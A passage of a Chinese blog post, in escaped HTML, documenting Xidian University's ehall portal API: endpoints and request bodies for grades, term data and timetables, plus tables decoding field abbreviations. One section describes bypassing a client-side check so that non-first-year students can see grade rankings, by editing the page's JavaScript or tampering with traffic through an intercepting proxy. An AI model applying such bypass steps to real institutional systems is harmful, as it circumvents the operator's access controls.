id=\"提前说明第二发\"\u003e提前说明第二发\u003c/h3\u003e\n\u003cp\u003e发送信息中如包含学期信息之情况,按照如此处理:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e2022-2023-1 == 2022-2023 学年第一学期\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e虽然是可以通过请求得到学期数据,不过有的地方,我打算自己算。所以如有对应需求,请查看 xidian-script 代码。\u003c/p\u003e\n\u003ch3 id=\"获取成绩学校想让你看到的\"\u003e获取成绩(学校想让你看到的)\u003c/h3\u003e\n\u003cp\u003e一会再告诉大家为啥是\u0026#34;学校想让你看到的\u0026#34;。先给大家介绍原理。\u003c/p\u003e\n\u003ch4 id=\"获取数据\"\u003e获取数据\u003c/h4\u003e\n\u003cp\u003e在获取数据前,还记得那个要跳转的网址吗?你一定要给那个网址发个 GET 请求,要不然,接下来的步骤报错 403 未授权。\u003c/p\u003e\n\u003cp\u003e实际上这玩意本质上,就是向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\u003c/a\u003e 发送 POST 请求。不过发送的请求数据,要看情况。\u003c/p\u003e\n\u003cp\u003e首先说的是一个共有的请求数据,如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SFYX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//是否有效\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;m_value_equal\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,如果你想查看某个学期的数据,还需要追加以下请求数据:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年学期代码\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-2023-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e//学期学年代码,参考提前说明第二发\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;equal\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,由于是 POST,所以没有请求数据设置(有错请指正)。所以我们附在 POST 报文的数据是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;*json\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;querySetting\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e将上面设置的请求数据编码为\u003c/span\u003e \u003cspan class=\"err\"\u003ejson\u003c/span\u003e \u003cspan class=\"err\"\u003e字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;+XNXQDM,KCH,KXH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;pageSize\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;pageNumber\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后返回的数据,基本上是坑爹的汉语拼音缩写,感觉大家应该会破译吧。毕竟人均黑虎阿福,都是会乌鸦坐飞机的。\u003c/p\u003e\n\u003ch4 id=\"关于那些坑爹的拼音缩写\"\u003e关于那些坑爹的拼音缩写\u003c/h4\u003e\n\u003cp\u003e我打开过网页的开发者模式,看到网络菜单有个请求,是向 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\u003c/a\u003e 的 POST 请求。发送的也和上面的头差不多。然后他返回的信息,就是那些坑爹缩写的完整含义。实际上有好多,这里我只列出和查成绩相关的东西。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXNXQDM\u003c/td\u003e\n\u003ctd\u003e学年学期(代码)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCM\u003c/td\u003e\n\u003ctd\u003e(学生)课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCH\u003c/td\u003e\n\u003ctd\u003e(学生)课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCJ\u003c/td\u003e\n\u003ctd\u003e总成绩\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXF\u003c/td\u003e\n\u003ctd\u003e学分\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXS\u003c/td\u003e\n\u003ctd\u003e学时\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDFSDM\u003c/td\u003e\n\u003ctd\u003e修读方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFZX\u003c/td\u003e\n\u003ctd\u003e修读类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXFJD\u003c/td\u003e\n\u003ctd\u003e绩点\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJDF\u003c/td\u003e\n\u003ctd\u003e积点分(绩点分)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBID\u003c/td\u003e\n\u003ctd\u003e教学班id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCXCKDM\u003c/td\u003e\n\u003ctd\u003e重修重考\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFJG\u003c/td\u003e\n\u003ctd\u003e是否及格\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFYX\u003c/td\u003e\n\u003ctd\u003e是否有效\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4 id=\"为啥是学校想让你看到的\"\u003e为啥是\u0026#34;学校想让你看到的\u0026#34;\u003c/h4\u003e\n\u003cp\u003e我发现,正常情况下,只有大一新生才能看到自己成绩的排名和具体组成。我查看了页面的源代码,在 \u003ccode\u003etop/ehall.xidian.edu.cn/jwapp/cjcx/*default/modules/cjcx/dqxq/dqxq.js?av=一个时常变化的数\u003c/code\u003e 文件中,有以下几行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"c1\"\u003e/// The tenth line.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//是否为大一学生(默认为否)西电大一学生可以查看成绩详情\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e/// The thirty-eighth line and below.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nx\"\u003echeckIsDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edqxnxqdm\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017-2018-1\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;90001\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ejwlcgl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetRZLB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eroleId\u003c/span\u003e\u003cspan class=\"p\"\u003e)){\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eWIS_EMAP_SERV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAbsPath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/modules/cjcx/cxxsjbxx.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eBH_UTILS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edoSyncAjax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emsg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\t\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nx\"\u003e$\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebhTip\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;学生现在年级查询失败,请稍后再试...\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;danger\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要想看倒也容易,在网页下载完这个文件但还没加载之前,改掉这俩地方。具体各位可以上网搜\u0026#34;如何在 Chrome 中修改网页代码\u0026#34;。或者使用 Charles 或者 mitproxy 搞中间人拦截,手动改包。\u003c/p\u003e\n\u003cp\u003e另外说明,这个文件感觉是包含了所有跟查成绩相关的代码,要想深入了解的话可以看看。我对这玩意居然没有加密混淆表示无法理解。\u003c/p\u003e\n\u003cp\u003e最后我想问的是,这是什么高年级歧视。如果是要”保护“老师的话,不如想想为啥我们学生会对某些老师敬而远之。\u003c/p\u003e\n\u003ch3 id=\"获取课表数据\"\u003e获取课表数据\u003c/h3\u003e\n\u003cp\u003e一般来说,获取到的数据是需要处理的。xidian-script 是处理成 iCalender 文件,一个国际上用来处理日历和备忘录的标准格式。我的程序计划是利用 Dart 的一个库,保存成 iCalender 。然后我在网上找到个课表的实现,试着套一下。\u003c/p\u003e\n\u003ch4 id=\"当前学期信息\"\u003e当前学期信息\u003c/h4\u003e\n\u003cp\u003e没错,这回我不打算自己合成了:-P\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\u003c/a\u003e 发送 POST 请求。如果成功的话,在回复数据中的 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;dqxnxq\u0026#39;][\u0026#39;rows\u0026#39;][0][\u0026#39;DM\u0026#39;]\u003c/code\u003e 中,就会包含这个学期的数据,格式见上文的提前说明。\u003c/p\u003e\n\u003cp\u003e感觉其他类似的应用应该有类似的方式来获取目前的学期,或者是所有的学期号码。\u003c/p\u003e\n\u003ch4 id=\"获取开学日期\"\u003e获取开学日期\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u003c/a\u003e 发送 POST 请求,发送的数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;XN\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e\u0026#39;学期代码的第一个数字-学期代码的第二个数字\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e学期代码的最后一个数字\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 学期\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取的日期字符串在返回数据的 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;cxjcs\u0026#39;][\u0026#39;rows\u0026#39;][0][\u0026#34;XQKSRQ\u0026#34;]\u003c/code\u003e 中。\u003c/p\u003e\n\u003cp\u003e这个东西感觉是为了在显示课表对应日期的时候,找个基准。\u003c/p\u003e\n\u003ch4 id=\"获取课表初步数据\"\u003e获取课表初步数据\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;xskcb\u0026#39;]\u003c/code\u003e 提取信息。\u003c/p\u003e\n\u003cp\u003e查看 \u003ccode\u003e[\u0026#39;extParams\u0026#39;][\u0026#39;code\u0026#39;]\u003c/code\u003e 是否为 1。如果是的话,从 \u003ccode\u003e[\u0026#39;rows\u0026#39;]\u003c/code\u003e 提取数据,否则,从 \u003ccode\u003e[\u0026#39;extParams\u0026#39;][\u0026#39;msg\u0026#39;]\u003c/code\u003e 查看错误信息。\u003c/p\u003e\n\u003ch4 id=\"没在课表上的课\"\u003e没在课表上的课\u003c/h4\u003e\n\u003cp\u003e要是有门课没有在课表上,我们咋办?\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\u003c/a\u003e 发送 POST 请求,发送数据为:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;cxxsllsywpk\u0026#39;]\u003c/code\u003e 提取信息,剩下步骤与上面一致。\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e以下多数自己破译,有误请指正。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKXH\u003c/td\u003e\n\u003ctd\u003e教学班序号(课序号)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBJDM\u003c/td\u003e\n\u003ctd\u003e班级\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASDM\u003c/td\u003e\n\u003ctd\u003e上课教室\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXLDM\u003c/td\u003e\n\u003ctd\u003e教学楼\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBDM\u003c/td\u003e\n\u003ctd\u003e教学班序号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKKDWDM\u003c/td\u003e\n\u003ctd\u003e开课单位\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKJS\u003c/td\u003e\n\u003ctd\u003e授课教师\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKXQ\u003c/td\u003e\n\u003ctd\u003e上课星期\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXXXQDM\u003c/td\u003e\n\u003ctd\u003e校区\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKZC\u003c/td\u003e\n\u003ctd\u003e上课周次(是数字数组,对应周的元素代表是否有课)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCMC\u003c/td\u003e\n\u003ctd\u003e上课周次(字符串)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKSJC\u003c/td\u003e\n\u003ctd\u003e开始教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJSJC\u003c/td\u003e\n\u003ctd\u003e结束教程\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 